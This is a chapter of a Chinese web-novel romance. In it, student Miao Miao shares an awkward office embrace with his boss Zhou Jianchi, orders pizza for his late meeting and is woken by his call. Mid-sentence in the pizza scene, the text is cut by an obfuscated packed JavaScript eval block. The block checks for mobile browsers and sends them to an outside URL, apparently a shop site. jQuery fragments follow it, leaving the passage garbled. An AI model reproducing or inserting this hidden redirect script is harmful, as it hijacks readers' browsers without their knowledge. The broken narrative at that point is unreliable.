在周简弛怀中,苗淼脑袋飞速运转:百叶窗都合上了,这里只有他们两个人,就算要演办公室幽会的戏码,有必要来真的?
但想到周简弛谨慎到连契约都不签……或许,只有真的才不会被拆穿。
区区拥抱而已,没什么难的。
……
周简弛骨架就大,身材也结实,整个人的重量压在苗淼身上,双臂垂落于他的身侧,就像要把他包裹起来。
苗淼浑身僵直,用力深呼吸,却绝望地发现之前坐上周简弛大腿的那种异样的紧张感,又回来了。
还是很难啊啊啊!
“弛哥,你饿了我陪你去吃饭吧?”
苗淼说着,伸手拍打男人的后背,想把人赶起来。可衬衫下鲜明的背肌轮廓却好像烫手,他又飞快把手缩了回来。
“没时间。”男人低沉的嗓音里混入一些鼻音,滚烫气息扑在他颈间,“合伙人快来了,等下要开会。”
苗淼猛地一颤,心却愕然。都这样了还要工作,难以想象他老板近来是有多忙碌和艰难。
他眼一闭心一横,索性任由男人这么赖着了。
顶层办公室重归宁静,只有二人的呼吸声交织在一起,逐渐舒缓下来。
后来过了10分钟,也可能是一个世纪,吉米敲响办公室的门。
“那我不打扰你开会了弛哥!”苗淼终于解脱,当即弹射起身。
周简弛的怀中空了,难掩怨气。然而看着苗淼尴尬像地毯上有钉子一样来回跳脚,心底又笑起来。
“我就快忙完了。”周简弛起身,捞起随手搭在沙发上的西装外套和领带,慢条斯理地穿戴,“过几天好好带你出去玩,嗯?”
苗淼一怔,原来周简弛并没有吝啬给他时间。
他鬼使神差地点头说好,道了个别,逃也似的离开办公室,一路暗骂自己糊涂蛋。
难得抓到见面的机会,他却连周简弛会不会破产、兜里还剩几个钱,都没问出口。
陈晓奕教他要冷酷无情地捞,结果他一进去见到周简弛,就不知道被灌了什么迷魂药!
然而拐向电梯间之前,苗淼不由得回望办公室。
百叶窗又回到打开的状态,苗淼看到周简弛重新穿得一丝不苟,坐到办公桌旁,全神贯注地盯着屏幕。
男人单手托着下巴,凝眉深思,腕表上的钻石反射着屏幕的冷光线。
方才那副脆弱的惨相,好像一场幻觉。
-
下到一楼大厅,苗淼迎头撞见两个西装革履的男人。
因为财经新闻大肆报道,苗淼一眼认出了他们:与周简弛共谋这场投资风波的合伙人!
他本能地叫住二人:“你们——”
知不知道我老板连饭都没吃?他才被酒局折磨得人都有点疯了,你们还找上门来,有人性吗?!
然而话一出口,苗淼想起周简弛的事业在特殊时期,他这样质问合伙人,指不定是帮忙还是添乱。
他紧急掏出灿烂的营业微笑,话锋一转:“……你们晚上吃了吗?”
合伙人沈和李交换了一个心照不宣的眼神。
他们那位年轻的投资人财力雄厚,行事果断,大体上是个对事业一丝不苟的,十分精密的人。唯有一次,他们看到周简弛对着手机失态。
现在他们确信见到了手机另一头的人。
二人随吉米上到顶层,即刻开始紧锣密鼓的会议。
然而第一项议程告一段落时,李忽然说:“周总,我们刚在楼下碰见一小孩儿。”
周简弛顿时神色一变。
李:“他问我们吃没吃饭。”
周简弛先是松了口气,而后竟不由自主地问:“……那你们吃了吗?”
沈委婉地说:“没顾得上。”
李直接拍着桌子笑开了。
周简弛面上有点挂不住了,毕竟是他铁石心肠,要合伙人争分夺秒带着方案来开会。
三人尴尬地面面相觑,因为苗淼把一件事搬上了台面:他们即便筹谋一场惊天动地的商战,骨子里也不过是要吃要喝的凡人。
此时吉米敲门进来,面露难色:“一楼保安拦下一单外卖,是苗先生叫的。请问怎么处理?”
周简弛眼前一亮:“端上来吧。”
外卖上桌,沉默降临在大厦顶层奢华的会客室。
那是一张大披萨,烤得焦香油亮,还有星星点点的菠萝作点缀。
周简弛罕见地在工作场合流露犹豫。
片刻后,他轻咳一声,问:“在座没有意大利人吧?”
合伙人都绷不住笑了。
“先吃饭吧。”
周简弛说罢,脱去西装外套挽起衬衫袖
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388006|200289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,上手捧起一块披萨开吃。
……
苗淼回到宿舍后不久,就收到微信消息。
【Wrench向您转账:10000元】
令他简直惶恐。
一万块是什么钱?老板付不出之前说好的价钱了,要分期付款?还是给他散伙费?
该不会……周简弛真要破产了吧?
他没敢点收款,老板在开会他也不好问,只得就那么拖着,直到周简弛又发来一张空纸盒的照片。
【Wrench:披萨好吃。】
【全吃完了。】
-
凌晨两点,寸土寸金的滨京中心,包豪斯风格的顶层复式公寓俯瞰半座城市。
感应夜灯随周简弛的行迹依次亮起,脚步声在空旷的房子里几乎有回音。
相比晨起的惯例流程,周简弛睡前要做的事很少。把疲惫的躯壳洗洗干净甩上床,再吃个药把不堪烦扰的头脑强制关机,很快就会沉沉睡去。
可今天他翻了几次身,最后还是抓起手机打开微信,反复翻看他发去空披萨盒照片之后,苗淼回复的消息。
【草田三水:弛哥你真棒!】
当时周简弛的第一反应是……茫然。
他从小到大不缺夸奖,但没有任何人会夸他很棒,只为他跟两个合伙人把一整张大披萨吃完。
苗淼都会主动查他公司的动向,那肯定是已经查到或者猜到,他摆平了监管,开始有条不紊地洗盘、巩固权力了。
搞不好就是在催他尽快腾出时间,再次见面。
他临时找了张“不愧是我”的表情包回复过去,不觉间已是面带笑意。
这一晚格外安眠。
-
次日清晨,滨大222舍,苗淼蜷缩在小床上,做了一个猴被压在五指山下面的噩梦。
又或者是他被周简弛压在下面。
然而梦中听见有什么东西隆隆作响!
他猛地起身,发现对床大力在踹他的床架:“多大仇啊淼哥,一大早上手机响?!”
苗淼迷茫了几秒钟,摸到床上的手机,看到来电显示周简弛的名字,瞬间清醒了个彻底。
不是说还要等几天吗?这是提前忙完了?还是……
苗淼提心吊胆地翻身下床,披上外套直奔露台,慌忙接起电话。